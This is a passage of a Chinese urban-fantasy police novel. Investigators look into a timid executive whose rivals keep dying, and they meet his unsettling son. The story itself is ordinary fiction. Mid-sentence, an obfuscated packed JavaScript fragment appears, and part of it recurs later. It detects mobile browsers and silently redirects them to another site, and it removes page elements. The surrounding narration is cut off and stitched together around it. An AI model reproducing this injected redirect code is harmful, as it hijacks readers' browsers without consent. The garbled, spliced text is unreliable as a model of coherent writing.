李默道:“那倒不是。我没有车,那家酒店离市局很近,每天步行上班很方便。珑湖市租房价格不低,算下来跟住酒店也没有太大区别,我已经住习惯了,就还没搬。” 其实还有一个原因他没有说出来——之前为了替薛青青和薛奶奶拿回那处房子,他已经把在总部工作六年攒下的大部分积蓄都给了张存义夫妇,现在手头委实有点紧张。珑湖市局在市中心,周边条件稍微好一点的房子,租金都高得吓人。李默反复权衡了一下,觉得还不如住酒店,蹭市局食堂的一日三餐和酒店的洗衣房,还能省下一笔水电燃气费。 当然这些隐情周纬是不知道的,李默刚才的话嗡嗡地从他脑子里过了一遍,最后就浓缩成了六个字——他没有地方住。 突如其来地,周纬心中涌出了一个念头—— 不如就让他…… 然而还没等他在心里把这句话说出来,就听身旁李默突然来了句:“不过我现在已经找到合适的房子了,近期就打算搬过去。” 周纬:“……哦。” 他语气平平板板地应了一声,目不斜视地看着前面的公路,面无表情地继续开他的车。 ……早不找晚不找的。 ……是你没这个运气,可别说我没给过机会。 ……烦。 周纬果然把李默送到了那家酒店门口,两人互道晚安之后周纬就离开了,李默则一直很有礼貌地站在原地,微笑着目送周纬的路虎渐渐远去,汇入了市区汹涌不息的车流。 直到确定周纬的车影和气息都已经走远了,李默才转身举步。他没有走进酒店内部,而是闪进了酒店一侧一座小花园中。 小花园里没有灯,到了晚上阴影幢幢的。李默藏在阴影里,避开人们的视线和监控摄像头,顺着酒店外壁的消防梯,几个起落就跃到了酒店楼顶。黑夜和阴影很好地遮蔽了他的身形,他整个人就像一团融入夜幕的黑雾。 他抬头看了看方向,轻身而起,朝着城市的另一头飞掠而去。 十五分钟后,李默来到了城南的宛平区。这里是珑湖市的老城区,民居大多为平房,还保持着上个世纪的建筑风格,黑瓦白墙,小巷四通八达,宛如一座小型迷宫。有的人家自带一座小院,院中植花种草,幽深又静谧。 李默循着气息,来到了一处小院外。院中种了一棵大槐树,枝桠探出院墙,上面挤挤挨挨地簇满了初春萌动的新绿。 李默整理了一下自己的衣着,轻轻叩响了院门。 “吱呀”一声,门开了。 重明俊朗的脸从门后露了出来。 “你来了。”他仍旧是白日的穿着打扮,见到李默来访也毫不意外,微笑道:“你让那个小耳鼠送信说今晚会过来一趟,没想到这么早。小白还说要是你敢后半夜来,就让我把你赶出去。” “抱歉。”李默彬彬有礼地微微躬身:“实在是我心急如焚,叨扰白泽先生了。” “不用客气,进来吧。”重明让开了院门,笑容温和:“小白就在里屋。有什么想知道的,你可以当面问他。” * 第二天上午,珑湖市局会议室。 调查组三人和周纬李默正在这里碰头开会。 "滨海北路仓库案的三个受害者身份已经查到了。"杨小钱把三份资料往桌子上一拍,道:“这三人,来头还真是不小。” 周纬拿过来翻了翻:“什么情况?” “这是三个前科犯。”季凌云直接点出了重点,道:“彦雪,你来说明。” 申彦雪点了点头,将三份案卷资料摊开摆在桌子上,案卷重点都已经折角并用荧光笔标了出来,清晰又一目了然:“这三个人都是刑满释放人员,从监狱里出来之后游手好闲了一段时间,后来不约而同地入职了一家叫做‘华源安保’的公司。”她又翻开了另一本案卷,指着上面的一行字道:“另外,我们调查了在第一期案件现场发现的那辆被烧毁的面包车,虽然车牌已经损坏,但好在车架号保留了下来。小钱查到了这辆车的注册信息,也是登记在这个‘华源安保公司’名下。” “一个安保公司,雇佣前科犯作为保镖?”周纬抱起双臂,手指关节习惯性地扣着下巴,突然道:“这个安保公司是不是有涉黑涉恶背景?” 季凌云一愣:“什么?” “正经安保公司不会雇佣有服刑记录的人员的,一个还可以说是失察,三个就不可能是意外了。”周纬解释道:“除非这根本不是一家正儿八经的安保公司,而是专门干‘脏活儿’的。许多涉黑组织都会给自己套这么个外壳,用安保公司的幌子打掩护,豢养一批打手,出入不容易引起周边人注意。这些组织一般都是打着安保的旗号,帮人上门寻仇、追债、收保护费,其实就是一帮地痞流氓,背后还很有可能跟黑/道有勾结。” “原来如此。”季凌云恍然大悟。这从小接受精英教育的少爷脚不落凡尘,被周纬这一番科普打开了新世界。 "所以那辆面包车是这个华源安保公司的……唔,那我倒是能猜到,他们为什么会在深更半夜出现在废弃仓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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杨小钱发出了一声恍然大悟的“哦——”的声音。 李默微笑着转向周纬:“周队是这个意思,对么?” 周纬有些意外地看着他。李默几乎从来不会说这么长的一大段话,一般在队里集体开会讨论案情的时候,他总是在旁边安静地听着,不打岔也不发表意见,除非是遇到需要他接话的情况——这次怎么这么主动? 他的目光里不自觉地带上了点疑惑,抬眼望向李默,却得到了李默一个圣光普照的微笑。 周纬:“……” 总感觉好像有点怪怪的。 周纬收回疑惑的目光,拢了拢心神,继续道:“就是这个意思。昨晚我跟李默分析过,凶手第一次犯案,可能是处于一种急怒交加的状态,下手失了轻重,灵力爆发直接将对面三人压成了肉泥——被人暴力胁迫确实符合这种情况。” “至于第二次犯案,凶手有了更强的目的性,是主动出击,私人恩怨的成分更大。可能是因为废弃仓库案激发了他内心潜藏的杀戮本性,他干脆一不做二不休,准备将所有得罪过他的人杀个干净。”周纬道:“第二起案子的受害人身份查到了吗?” “查到了。”季凌云点点头,示意杨小钱将另一份资料递了上来。 “第二起案子的死者名叫徐诚,是珑湖市一家建筑集团的总监,上星期出发去外地出差,昨天晚上本来应该是他返程的时间。”杨小钱道:“凶手应该是在他返回珑湖的途中截住了他,他妻子今天早晨到警局报了案,证实了这些情况。” 周纬点了点头:“查一下徐诚这个人的社会关系,和华源安保的三人做交叉对比,如果里面有隐藏的灵力者,这个案子就有门了。” 所有人同时点头,心下一定。 排查社会关系的工作量虽然庞大,但是已经有了调查方向,就像有了主心骨一般,所有人的干劲都提了起来。目前这个案子虽然手段残忍、社会危害性较大,而且还牵扯出了十四年前的钦原一案,但单纯就破案难度上来讲,倒似乎并不是特别高。 然而这种乐观的氛围只持续了两天。 两天之后,一个消息传来,就像一盆当头冷水一样,将所有人浇了个透心凉。 以华源安保三人和徐诚为圆心,以他们的社会关系为半径,异监局画出了四个大圆。结合案件发生的时间、地点、关系人物的不在场证明,这四个圆中的所有人,无论与两起案件的受害者是否均存在交集,全都被异监局仔仔细细地筛查过了一遍—— 在这之中,没有发现灵力者。 42.“幸运” 房间里的空调开得有点太高了,冯汝成被紧紧地塞在钢制审讯椅里,觉得椅背和扶手差不多要卡在自己身上了。 他汗流浃背,手中的汗巾攥得紧紧的,几乎擦都来不及。水渍他从层层叠叠的肚皮上渗了出来,在他的灰色衬衫上勾勒出了一片很不雅观的纹路。 对面的监察员语气平板地问道:“再说一遍,三天前的晚上9点到12点,你在哪里?在做什么?” “警察同志,我已经说过了,我那天在陪客户……那天晚上喝了点儿酒,是代驾把我送回来的,具体几点回来的我记不清了……但是我回家之后就直接上床睡觉了,再也没出过门!我老婆孩子可以给我作证!” “你的妻子和儿子就在局里,我们正在对他们进行问询,会对你的话进行求证。”监察员严肃道:“但我必须提醒你,近亲属提供的证词在法庭上的可信度很低,你我们需要你提供更加有力的证据,证明你那天晚上确实在家。” “但是我喝了酒……我真的记不得了……不信你们去查行车记录……” 审讯室外,周纬诧异地挑起眉头:“他刚才说他是什么?部门副总监?我们现在的企业高管都已经是这个款式的了吗?” 所有人都是一脸的一言难尽。 冯汝成此人四十一岁,身高看起来不到一米七,体重却已经直逼三百斤。审讯室的那张钢制审讯椅最近见识了不少大人物,却大概还从未受到过这种程度的考验。冯汝成努力吸着肚子把自己塞进去的时候,审讯室内外所有人都提起了一口气,生怕他那件灰衬衫上的纽扣崩出来,弹瞎对面监察员的眼睛。 此人不仅身宽体胖,性格也丝毫不见一个企业高管的魄力,胆子小得吓人,光接受审讯的这二十分钟流的汗,几乎就像是给审讯室来了一场“局部降雨”。 可异监局这几天来排查了几百号人,他是唯一一个被直接请到市局来的。 因为他是华源安保的三名受害者和徐诚之间的唯一交集,也是前后两起案件的唯一交叉点。这也是为什么他虽然并非灵力者,却也被带到了异监局来接受讯问的原因。案件进展到这里,竟然完全走入了死胡同,异监局只好死马当活马医,抱着试试看的态度,想看看能不能从此人身上打开突破口。 “根据冯汝成的供词,他前段时间沉迷网络赌博,为了凑赌金又陷入网贷陷阱,前前后后欠了二百四十万赌债。”杨小钱道:“我查了一下,那家赌博和借贷网站实际上都是华源安保开设的。他们引诱赌客到自己的赌博网站上开赌,操纵胜率让这些人血本无归,随后又骗他们去自家开设的网贷平台上借钱,左手倒右手骗取高额利息。一旦有人还不上钱,就出动公司所谓的‘安保人员’暴力催债,整个儿就是个一条龙产业。” “而徐诚和冯汝成同属恒泰建筑集团工程质量管理部,徐诚是总监,冯汝成是副总监。”杨小钱不愧是顶级黑客出身,几乎把这几人的社会关系查了个底儿掉:“可以说冯汝成就是徐诚一手提拔上来的,唯徐诚马首是瞻。” “我有个问题。”听到这里,季凌云插话道:“按照这个说法,徐诚对冯汝成有知遇之恩,冯汝成应该没有理由谋害他才对吧?” “呵。”旁边的周纬突然冷不丁笑了一声。 所有人都转脸看着他。 周纬一挑眉:“季组长一定没有遭受过职场霸凌吧?” 众人:…… 废话。堂堂异监局总部明日之星,后台硬得可以当防弹衣用,谁敢职场霸凌他? “像冯汝成这样的人,是最容易遭受职场霸凌的。”周纬对着审讯室里那个战战兢兢的矮胖男人扬了扬下巴:“胆小、懦弱,习惯了忍气吞声、任人摆布。这样的人,你欺负他,他不会反抗;你抢夺他的工作成果,他也不会告状。平时可以用来取乐,出了事还可以往他头上甩锅,简直不要太好用。恒泰集团是珑湖建筑行业龙头,公司内竞争压力极大,要是部门副总监的位置被这么个人占着,你们猜,他在公司里的处境会如何?” 众人:“……” 他三言两语这么一说,众人几乎要被激发出几分对冯汝成的同情来。 “但这样也很奇怪啊。”何昭华抱臂疑问道:“如果冯汝成是这种性格的话,似乎不应该把他放到企业高管的位置上吧?这人年薪可有七位数……这种人也能当公司高层吗?” 这一回,周纬没有回答。 因为这也是他的疑惑。 冯汝成今年才四十一岁,可以说是正当盛年。然而他体型肥胖,皮肤松弛,头顶已经有了早秃的迹象,行为举止谨慎到了几乎可以说畏缩的程度,满脸都是生活压力造成的疲惫。职位和高薪并没有给他带来舒适安逸的生活,他应对这份工作显然并不轻松,甚至已经被逼得靠网赌网贷来解压了。 这样的人,在如今这个竞争压力极大、内卷无比疯狂的社会里,是怎么做到不仅没有被淘汰,反而平步青云、一路高升的呢? 这简直匪夷所思。 然而这个时候,一个声音响了起来:“这个问题,我可能有点思路。” 众人齐齐转头,出声的居然是申彦雪。 季凌云的这两个下属,性格简直是两个极端。杨小钱一副叛逆少年的模样,经常揣着手,大大咧咧口无遮拦,在谁面前都是想说什么就说什么,季凌云带着他多少有点带孩子的感觉;然而申彦雪却从来都是一副不苟言笑的姿态,每次露面必定一身西装长裤,手里抱着的不是笔电就是文件夹,长发挽得一丝不乱,再加上她那副黑框眼镜,几乎是把“严肃刻板”四个字写在了脸上。反正周纬每次看到她的时候,总是不自觉地想起高中时悄无声息地出现在教室后门的教导主任。 这倒还是第一次听见她在集体讨论中主动发表意见。 她从身旁的一摞卷宗中抽出一册,道:“冯汝成这个人,运气太好了。” 周纬掏了掏耳朵:“哈?” “他能在四十出头的年纪,走到现在这个位置上,是因为他几乎每次都能逢凶化吉,事业运好得惊人。”申彦雪翻出几份资料:“我发现了一些特征。” 她拿起第一份资料:“七年前,冯汝成还是恒泰建筑集团莱山分部的一个小职员,入职五年,业绩并不突出,项目验收通过率仅在92%左右。当时部门改组,冯汝成因为效益不好、投诉率过高而面临裁员。但他还没来得失业,他同部门的一个同事就意外溺水了,冯汝成不得不接过了他手头上未完成的工程,保住了自己的饭碗。” “数月之后,在他那名溺水而亡的同事留下的其中一个项目中,冯汝成发现了重大工程质量隐患。因为发现得及时,为公司挽回了数百万元的损失。冯汝成当年就被评为莱山分部年度优秀员工,第二年被调到了珑湖市总部工作,成为了他职业生涯平步青云的开始。” 众人都不禁有些唏嘘——数月之前还面临裁员失业,数月之后却已经飞黄腾达,同事的厄运反而成为了他飞升的契机,这命运之反复无常,也真是够峰回路转的。 申彦雪抽出了第二份资料:“调职后,冯汝成在总部工程质量管理部任主管,但业绩仍旧一般。五年前他跟另外一个主管竞争一个工程项目,本来是没有什么优势的,但那个主管在外地出差时意外遭遇山体滑坡身亡,整个团队直接解散。冯汝成因此得到了这个项目,为公司创收近千万,这件事之后,没过两年,他就晋升成了质管部经理。” “第三次则比较惊险。”申彦雪把第三份资料打开:“三年前,恒泰集团曾经接到过一封检举信,揭发一项桥梁建筑工程存在重大安全质量问题,并且验收过程中存在以次充好、虚假验收的现象。信中声称如果恒泰集团不严肃彻查相关人员,就要将检举材料送到住建部门。后经恒泰集团调查,这名揭发者是桥梁工地上的一名老工头,在发出检举信之后不久就因为海鲜过敏身亡了,这起投诉检举事件也就不了了之。当时那项桥梁工程就是冯汝成负责验收的,他也因此逃过一劫。” “再那之后,冯汝成就好像不知怎么就得到了徐诚的赏识。徐诚参加任何项目、出席任何场合都将他带在身边,一路提拔,最终让他当了自己的副手。”“啪”的一声,申彦雪终于合上了文件夹。 众人鸦雀无声。 到了这个份上,就算是聋子也该听出来了——冯汝成这个人绝对有问题。 他在职场上几次青云直上、几次化险为夷,基本都是靠着他的竞争对手或威胁者离奇丧命——意外溺水、山体滑坡、海鲜过敏……每次死亡看起来都跟他毫无关系,然而每次他都是直接或间接的获利者。 如果说之前的几次还有个“意外”的幌子遮掩,那最近的这两起案子简直就已经可以说是明目张胆、肆无忌惮——可能对他存在职场霸凌的顶头上司徐诚死无全尸,引诱他网赌网贷的三个华源公司小混混直接变成了肉泥。 申彦雪说他是“运气好”,但这样的好运气,思之简直令人毛骨悚然。这个看上去矮胖、懦弱而无能的男人,却像是个黑洞般悄无声息地吸收了身边人的幸运,以其他人的厄运当头和死于非命,换取了自己的平步青云。 如果说正常人的“好运”是受到了幸运之神的眷顾,那眷顾冯汝成的简直是死神。 所以他的身边,真的会有这么一个隐形的“死神”么? 那是否就是那个潜藏暗处、至今还未被异监局挖出来的灵力者呢? 周纬突然把目光转向了申彦雪:“申科长,我能问一下,你是怎么发现冯汝成的这些疑点的吗?” “很简单,我翻阅了冯汝成近十年来的所有档案材料。”申彦雪清晰平静地道:“包括他的职业履历,他在人社和公安部门的公民资料备案,他从入职恒泰建筑集团以来的每一次升职经过和重大业绩成果,他身边的人事变动和社会关系变动。我手头上还有他公司的同事对他的部分个人评价、他的个人收入来源分析和他近五年的重大支出明细……” 众人目瞪口呆,何昭华愕然道:“这些是你一个人看完的?两天之内看完的?” 申彦雪一挑眉:“我的文字阅读速度是每分钟2500字,这很难吗?” 众人:“……” 从表情上看这些人还是头一次被人秀一脸,还这么哑口无言。 周纬突然笑了:“那我们真是走了大运了。” “季组长,我想向你借申科长一用。”周纬转向季凌云,沉声道:“冯汝成不是灵力者,他不会是凶手,但我猜凶手跟他脱不了干系。我要彻查冯汝成的人际关系,以及他近十年来身边所发生的所有可能跟他相关的死亡和失踪案件,这里面绝对还有不少案子是那个灵力者的手笔。这个工作量会很大,我需要借助申科长的力量。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128645|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 季凌云道:“没问题。小钱也可以借给你,他可以帮助搜集信息,效率会高上不少。” “那就再好不过。”周纬曲起嘴角,露齿一笑,说出来的话却带着几分血气:“冯汝成走了这么多年的好运,现在也是时候吐出点什么来了。那个灵力者不可能庇护他一辈子,哪怕是刨了他们冯家的祖坟,我也要把他挖出来。” 与此同时,市局一楼,大厅一侧的一条走廊中。 李默刚刚从楼梯上下来。他没参与针对冯汝成的审讯,那种场合只要周纬去就够了,反正回来之后他也会把审讯结果和案件进展详细告诉他。 只是他在办公室里等了又等,眼看都已经接近午饭时间了,周纬却还没有回来的迹象。李默想了想,决定还是先去知会食堂一声,让他们把周纬几人的午饭留出来,以防这几人劳心费力审讯了一上午,回来却只能饥肠辘辘地等外卖。 市局的食堂在地下一层,李默平时一般不跟其他监察员们抢电梯,都是走楼梯上下楼的。只是这次,他刚下到一楼,就看到了一个奇怪的人。 那居然是个十四五的少年。 他看起来完全不像是该在异监局这种场所出现的人,上身穿着一件薄羽绒服,搭配一条牛仔裤,从衣服到鞋子看起来都很有质感,一看就知道价值不菲。李默下楼的时候,看到这少年正抬头望着走廊墙壁,看上去正在聚精会神地读着什么。 李默有些疑惑,于是走上前去,开口问道:“你是谁?” 闻言,那少年转过身来。 他的身材看上去还没长开,属于一个刚要抽条还没抽起来的年纪,但是身形却已经被拔得纤瘦,看起来甚至有几分孱弱。他头发浓黑,面色苍白,看上去像是不太健康似的,但嘴唇却又红得异常浓郁,像是涂了口红……或者刚喝过血。 李默眉头轻轻一蹙,留心感应了一下——这孩子身上没有灵力波动。 那他来异监局干什么?是谁带他来的? 这少年听见了李默的问话,却不答反问:“你是谁?是这里的工作人员吗?” 李默脚步一顿——这孩子的用词是“工作人员”。 凡是带非灵力者进入异监局,所有监察员出示的身份都是“警察”,同时也都会向对方亮明证件。如果有人对市局的装潢陈设提出质疑,觉得这不像是正经公安部门的样子,那他们就会得到一个“我们属于公安部门的机密机关,具体情况无可奉告”的答案。 这种伪装和掩饰其实只是为了打消这些普通人更多的问题,以及方便后续审问更好开展,倒不是出于什么保密的需要。反正这些人日后都会走记忆清洗程序,什么事都记不住的。 只是听这名少年的意思,他显然没有把这里当成警局。 李默没有因为对方是个瘦弱少年就态度轻慢,他走上前去,温声道:“我是工作人员。你为什么自己在这里?你家大人呢?带你来的工作人员呢?” 然而少年再次忽略了他的问题,回身继续望向那面墙壁,道:“我在看这个。” 李默于是也抬头看去。 像所有的政府部门和机关单位一样,异监局也少不了墙面文化建设。在一楼走廊的这个位置陈列的是“荣誉榜”,一侧展示的是市局所获得的集体荣誉,另一侧则是个人荣誉,包括每年都会评选的一些内部奖项,比如“先进个人”“监察先锋”“敬业模范”之类的,含金量水得可怕,基本就是从上到下论资排辈挨个上一遍,到年底每个人发个纪念品,意思意思拿回家过年完事。 单看周纬这种极端自由散漫分子,都能捞到一个“爱岗敬业之星”的荣誉,就知道这玩意儿究竟有多水了。反正也不涨工资,整个市局都没人拿这玩意儿当回事儿。 然而那少年却似乎看得津津有味,把所有人的照片和奖项全都从头到尾读了一遍,最终目光定格在周纬的脸上。 “周纬……”他轻声念道:“爱岗敬业之星?他不是你们的队长么?为什么没有拿到这个‘比武竞赛一等奖’?” 李默一愣。 他还没来得及问那少年,为什么会知道周纬是监察队长,就见他突然转过脸来:“他难道不是你们当中最强的么?” 李默:“……” 他倒是不知道异监局什么时候还要在“最强”上分出个高下来了。 李默有些失笑。他觉得这孩子可能是正处于青春期,武打片之类的看多了,养成了些奇奇怪怪的强者崇拜心理,正准备跟他好好解释解释“我们这里都是同事,非常团结友爱,不搞武力崇拜”这件事,却听这少年突然又说了一句:“不对。” 他这回完全转过身来了,面对着李默,抱起了双臂。他的一双眼珠异常黑沉,从上到下缓缓移动,毫不掩饰地打量了他一番:“……你看起来,也很强的样子。” 李默:“……” 他哭笑不得,这孩子是要给异监局上下所有人,按武力值高低排个“英雄榜”吗? 他不准备再跟这孩子讨论下去了,正准备问一下他的父母在哪里将他送过去,却没想到下一秒,少年说的一句话却让他面色微变。 只见那少年脸上的笑容缓缓扩大,露出两排森白牙齿,微微垂首,柔软的额发遮住了他的眼睛。 他声音极轻地问了一句—— “既然你这么强……那你杀过人吗?” 43.诱饵 刹那间李默还以为自己听错了:“什么?” “我说,”那少年一字一句地重复了自己的话:“你杀过人没有?” 李默缓缓直起腰来。 他盯着少年道:“你为什么要问这个?” “我好奇,不可以吗?”少年嬉笑道:“你们这个职业是可以杀人的吧?怎么样,你杀过吗?” 李默蹙起眉头,居高临下地看着面前的人。 他看得出来这个孩子有问题。哪怕是再中二病的小孩,也不会整天嘻嘻哈哈地把“杀人”两个字挂在嘴边上。而这孩子的的表情明显不是在开玩笑——他是真的想知道李默受伤有没有沾过人命。 而且……这孩子好像不觉得,“杀人”是一件很可怕的事。 他以一种带着好奇和挑衅的态度说起了这个话题,态度就宛如在问:“我有NBA最新款联名球鞋,你有么?” 他仿佛把“杀过人”这件事,当成了一种炫耀的资本和功勋。 这是什么三观? 李默转瞬之间脑子就掠过了这么多念头,然而与此同时,他却又有点郁闷地发现——面对这神神叨叨的熊孩子,他的语言表达能力居然又卡壳了。 他一时间居然没想出来什么能回应这熊孩子的比较好的方式。 原地郁闷了一会儿,李默最终还是决定放弃,他干脆单刀直入道:“你是冯汝成的孩子,是么?” 少年:“什么?” 他突然往后缩了一下,就好像“冯汝成”这三个字冒犯到他了似的,少年脸上骤然涌起一层薄怒,咬着牙说了一句:“……关你屁事。” 李默道:“你父亲正在楼上接受问询,你应该跟你母亲待在一起,为什么自己一个人跑出来了?你母亲在哪里?” 他这种“叫家长”般的态度显然更加激怒了少年,,少年的身形一躬,双拳紧握,嘴角绷得死紧,竟然在他面前摆出了一副攻击的姿态,怒道:“我说了管你屁事!” “小坤!” 然而就在这时,一声女性的尖叫骤然打断了两人对话。 李默只见一名中年女性突然从走廊一侧冲了出来,“嗷”的一声就朝冯坤扑了过去。她的衣着并不简朴,三月底的天气还穿着貂皮大衣,手中拿着个LV手包,头发也烫成了时髦的羊毛卷儿。然而她此时此刻的举动却堪称失态,只见她扑到了儿子身边,紧接着二话不说就压着冯坤的脑袋往下按,同时自己也忙不迭地一个劲儿鞠躬,简直像是晚了一秒就会被立地砍头似的:“你这孩子怎么跟警察叔叔说话呢!道歉!快道歉!” 冯坤猛地一把掀开了她的手:“你放开!” 他的身高本来就不比女人矮了,这么猛地用力一推,顿时把女人直接推了出去。女人踩着四厘米的高跟鞋本就脚下无根,这么一推顿时惊呼一声,眼看要倒—— “啪”的一下,李默在身后推住了她的肩膀,将她扶住了。 她的胸口剧烈起伏着,惊魂未定地看着眼前的亲儿子,冯坤的短发被她按得乱糟糟的,脸上因为急怒而泛起了一层薄薄的红晕,看向母亲的目光里简直含了愤恨,紧握双拳怒吼道:“你到底有什么毛病!” 李默眉头一皱:“不要这样和你妈妈讲话。” 冯坤牙齿咬得咯咯响,以喷枣核钉般的气势喷薄出了一个字:“滚!” 他紧接着狠狠剜了自己的母亲一眼:“丢人现眼!” 说罢,像是再也无法忍受般,他猛地转身,“噔噔噔”地朝着走廊尽头,飞快地跑走了。 李默:“……” 他低头看着眼前的女人:“你没事吧?” 女人——冯坤的妻子黄丽华——赶紧站稳了身子。她仿佛也觉得非常丢人似的,下意识地理了理头发,像是想要整理一下自己的仪容,然而很明显失败得非常可悲。仔细一看她脸上的妆都已经花了,有着显而易见哭过的痕迹,眼圈处的眼线笔晕染开了一片,那形象委实再多的LV包和首饰都挽救不了。 “不好意思,给您添麻烦了……我家孩子还小不懂事……”她一边机械地说着,一边不住地鞠躬,活像个成了精的打桩机。 李默是在看不下去了,赶紧拦住了她没完没了的道歉:“我没关系。但是您的儿子好像情绪比较激动,您是不是应该去看看他?” 然而下一秒,李默简直怀疑自己产生了错觉——他看到黄丽华在听到“您儿子”这三个字,肩膀不由自主地抖动了一下,竟然像是在害怕什么似的。 一个母亲,竟然会害怕自己的亲生儿子? 这是什么家庭? “您?您说的对……我去找他……”黄丽华紧张地吞咽了一口口水,又不住地给李默鞠了几个躬,随即也转身,朝着冯坤消失的方向跑走了。 李默:“……” 他看着那母子二人远去的方向,深深地皱起了眉头。 几秒之后,他取消了原本前往食堂的计划,转身朝着四楼审讯室走去。 * “哦?那孩子跟你这么说?” 审讯室外,李默见到了周纬,跟他一五一十讲述了自己刚刚所见恶毒一切。 他描述完了事情的经过,脸上却仍有犹豫之色。周纬看出来了他还有话没说完,于是主动询问道:“怎么了?你对这件事有什么意见?” 李默踌躇片刻,终于还是说了出来:“我觉得那个叫冯坤的孩子有点问题。” 这委实是谁都能看出来的事。然而周纬脸上并没有露出任何不耐烦的神色,反而饶有兴致道:“怎么说?” “……我觉得他对待‘杀人’这件事的态度,很不同寻常。”李默仔细地想了一想,终于找到了一个他觉得最恰当的表达方式,缓缓说了出来:“他执意问我有没有杀过人,仿佛‘杀人’是一件很厉害、很值得夸耀的事……我觉得他的这个态度,不像人类,反而有点像妖类。” 周纬的眼睛骤然亮了起来。 与大多数人对于李默的观点不同,周纬从来不觉得李默很迟钝,恰恰相反,他觉得李默在某些事情上,往往有种超出常人的敏锐。 李默只是不太擅长表达,但这不意味着他不擅长观察和感知。事实上,李默的观察和领会能力比绝大多数妖类都要强得多,在共情力和同理心这方面更是堪称天赋异禀。这让他在短短几年时间里,就完成了其他妖类可能要几十年才能走完的社会化进程,同时也让他能够更方便地同时站在两族的立场上思考问题,而不会出现身份混淆。 就比如现在,唯有李默才能做出这种,更趋近于直觉性的判断。 这个少年冯坤,并不敬畏人的生命,反而觉得能够剥夺生命是一种强大的象征,一种值得夸耀的“战绩”……而这种想法,和某些妖类对待人类的态度不谋而合。 那么他是怎么形成这种观点的呢? 是不是有某个潜藏在他的身边的存在,在潜移默化的影响中和天长日久的灌输中让他形成的呢? 周纬的目光投向了那个仍旧被困在审讯室内的中年男人。 冯汝成一家三口都是毫无疑问的普通人,身上没有一丝一毫的灵力波动,这是确凿无疑的。然而冯汝成一路平步青云的诡异“好运”,和他儿子冯坤对待“杀人”这件事上不同寻常的态度,都说明这家人跟超自然世界之间,必定还存在着什么他们还没有挖掘出来的瓜葛。 这一家人就是突破口,只是他们现在还没找到突破的正确方式。 既然主动出击行不通,那就只有反其道而行之了。 周纬忽然抬头道:“季组长。” 季凌云:“嗯?” 他正在跟申彦雪、杨小钱一起梳理冯汝成的人生履历,看那架势似乎是打算干脆把冯汝成从出生到长到这么大吃了多少顿饭都一起挖出来,闻言一抬头:“什么事?” 周纬突然露齿一笑:“既然申科长都已经借给我了,不如干脆大方点,来了个买一送一呗?” 季凌云一愣,然后才反应过来,目光望向了杨小钱。 杨小钱正捧着笔电忙得热火朝天,闻声这才从屏幕后面抬起脑袋来,伸手指了指自己的鼻子,诧异道:“啊?我?” 他看了看季凌云,又望了望周纬,就见周纬突然对着他露齿一笑,露出了一个无比阳光灿烂的表情。 杨小钱:“……” 怎么总觉得没什么好事。 * 二十分钟后,一辆家用SUV载着冯家一家三口,开出了异监局大门。 黄丽华坐在副驾上,双手把衣摆捏出了两道深深的褶皱:“他们让你出来了,是不是就是说……没事了?” “不知道……”冯汝成的双手在方向盘上扣得死紧:“说是让我们回家,不许出市,等等通知……” 黄丽华:“这都是什么事儿!” 这对夫妻一到清早就被莫名其妙地带到了警局,经受了一通问话,却始终没人向他们解释到底发生了什么。说起来,普通人就算是被警局传唤,在确知自己没有犯什么事的情况下,倒也不会有多么紧张。然而这对夫妻却像是担子格外小似的,在警察的地盘上走了这么一遭,活像把魂丢在了那里似的,人虽然出来了,脑子却还是一片浆糊。 冯坤坐在后排车座上,发出了一声嘲讽的冷笑。 他支肘看着窗外,冷冷地道:“你们现在还不知道他们为什么带你们过来,是么?” 不知为何,儿子在后排说了句话,前排的父母却都骤然身体一僵,活像是听到了什么恶魔低语似的。 过了好半天,黄丽华才小心翼翼地从副驾上回过头来,试探着问道:“小坤你……你知道啊?” 冯坤乜斜了她一眼:“徐诚死了。” 冯汝成和黄丽华:“什么?!” 此话一出,夫妻俩顿时脸色大变。黄丽华倒吸一口凉气,用手揪住 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“没做坏事?废话……你们敢做什么事?”冯坤的声音几乎是从牙缝里挤出来的:“你们的胆子就像鸡一样小……不对,你们比鸡还不如……鸡要被宰的时候至少还知道叫唤两声,你们却只知道跪舔那个姓徐的,受了欺负也一个屁都不敢放,对他给的一点小恩小惠都感恩戴德……” 他每说一句话,前排的冯汝成的脊梁就无声地垮塌下去一分。 “……还以为他是你们的贵人恩人……根本不知道是谁把你们推到现在这个位置上的……” 黄丽华的声音近乎哀求了:“小坤,别说了……” “……明知道他没安好心也不敢吱一个字的声,哪怕在酒席上被他灌酒灌到胃出血……” 冯汝成的身体狠狠地一哆嗦。 “所以你们到底敢干什么?啊?”冯坤的声音越来越大,脸色越来越狰狞,盯着架势坐上父亲背影的目光像是恨不得射出刀子:“冯汝成,你告诉我,你到底敢干什么?你活了四十多年,到底活出来了个什么?你敢不敢挺起腰来,像个真正的男人那样活一次!” “别说了!”冯汝成突然激烈地大叫一声,车身顿时跟打了摆子一样在马路上乱晃起来,立马激起后面车辆无数急促的“滴滴”声。 冯汝成狠狠一打方向盘控制住车身。他面色惨白,汗如雨下,死盯着前方道路的眼神无比空洞呆滞,像是再也不会从这条马路上移开。 黄丽华则像是完全已经被吓傻了。 车内一片死寂。 半晌,最终还是冯如成先有了动作。 他伸出一只汗湿的手,颤颤巍巍地……打开了车载音响。 一阵空灵静谧的梵乐响了起来:“南无·喝啰怛那·哆啰夜耶·南无·阿唎耶·婆卢羯帝……” ——是《大悲咒》。 冯坤一拳捶在了后座的真皮座椅上。 SUV就这样一直在《大悲咒》平静祥和的梵乐声中,一路驶回了冯坤家的小区。 还不待车停稳,冯坤就猛然推开门跳下车,“砰”的一声狠狠摔上车门,头也不回地飞奔进了电梯。 他的父母被留在了车里。 这夫妻两人对视了一眼,冯汝成的脸上全是是空洞茫然,黄丽华匆忙低头,擦掉了自己脸上的泪痕。 